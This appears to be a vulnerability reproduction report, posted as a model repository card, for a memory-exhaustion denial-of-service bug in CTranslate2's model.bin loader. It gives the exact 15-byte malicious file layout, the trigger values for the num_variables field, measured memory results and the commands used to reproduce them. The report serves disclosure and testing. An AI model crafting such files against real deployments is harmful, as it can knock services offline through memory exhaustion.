YAML Metadata Warning:empty or missing yaml metadata in repo card
Check out the documentation for more information.
CTranslate2 model.bin eager unordered_map::reserve DoS -- reproduction
Sink (source-confirmed at pin 0d8bcd36, model.cc.pin lines 621-622, matching
task-cited line numbers exactly):
// Load the variables.
const auto num_variables = consume<uint32_t>(model_file);
model->_variable_index.reserve(num_variables);
_variable_index (model.h.pin:193) is
std::unordered_map<std::string, std::shared_ptr<StorageView>>. No cap, no
cross-check against remaining file size before the reserve.
Installed wheel: ctranslate2==4.8.1 (pip, matches pinned source behavior --
see results below).
PoC files (15 bytes each)
Layout: u32 binary_version=6 | u16 spec_len=1 | 0x00 (empty spec+NUL) | u32 spec_revision=0 | u32 num_variables
model_medium/model.bin: num_variables=0x20000000 (536,870,912) -> ~4.3GB bucket arraymodel_evil/model.bin: num_variables=0xFFFFFFFF (4,294,967,295) -> ~34GB bucket arraymodel_control/model.bin: num_variables=0 (negative control)
Results (WSL2, ~16GB RAM + 4GB swap)
| Run | num_variables | peak VmRSS | peak VmHWM | wall time | outcome |
|---|---|---|---|---|---|
| moderate (model_medium) | 0x20000000 (~537M) | 4.496 GiB | 4.496 GiB | 4.79s | reserve completes (real commit), THEN fails on next field read: RuntimeError: File model.bin is incomplete: failed to read a value of size 2 at position 15 |
| full attack (model_evil), no ulimit | 0xFFFFFFFF (~4.29B) | 0.234 GiB | 0.234 GiB | 0.76-0.82s | MemoryError: std::bad_alloc -- kernel overcommit heuristic rejects the ~34GB request outright (VM total capacity ~15-16GB RAM + 4GB swap) |
| full attack (model_evil), ulimit -v 14GB safety cap | 0xFFFFFFFF | 0.234 GiB | 0.234 GiB | 0.76s | same std::bad_alloc, confirms result is not an artifact of the safety cap |
| negative control (model_control) | 0 | 0.234 GiB (baseline) | 0.234 GiB | 0.82s | RuntimeError: File model.bin is incomplete: failed to read a value of size 4 at position 15 -- no allocation-related delay/growth at all |
Why this proves a REAL commit, not a lazy/demand-paged mapping
The moderate run's peak VmRSS/VmHWM (actual resident pages, sampled live
from /proc/<pid>/status while the child ran) climbed to 4.496 GiB -- matching
the ~4.3GB predicted from 0x20000000 buckets * 8 bytes/bucket -- and took
~4 seconds of wall time (vs <0.01s for the same-shape but num_variables=0
control). This is libstdc++'s unconditional memset over the newly allocated
bucket array inside unordered_map::reserve, executing to completion BEFORE
the loader ever reads (and fails on) the next field. 15 bytes of attacker
input drove ~4.3 GB of actually-written zero pages: a >300,000,000:1
amplification, and this is nowhere near the ceiling -- num_variables is a
fully attacker-controlled uint32_t.
The full-scale payload (num_variables=0xFFFFFFFF, ~34GB request) exceeds
this test VM's ~15-16GB RAM + 4GB swap capacity and is rejected immediately by
the kernel's memory overcommit heuristic (std::bad_alloc) both with and
without an artificial ulimit -v safety net -- confirming the crash is a
property of the request size vs. available memory, not a rehearsal artifact.
On a target with more RAM (or via swap thrashing / repeated calls), the same
4-byte-controlled value drives a genuine multi-GB-to-tens-of-GB real memory
commit / OOM before a single actual model variable is validated.
Reproduction commands (WSL, from /home/wey/fuzz/ct2/poc)
python3 ct2_runner.py ct2_child.py ./model_medium moderate_4p3GB
python3 ct2_runner.py ct2_child.py ./model_evil full_attack_34GB
python3 ct2_runner.py ct2_child.py ./model_control negative_control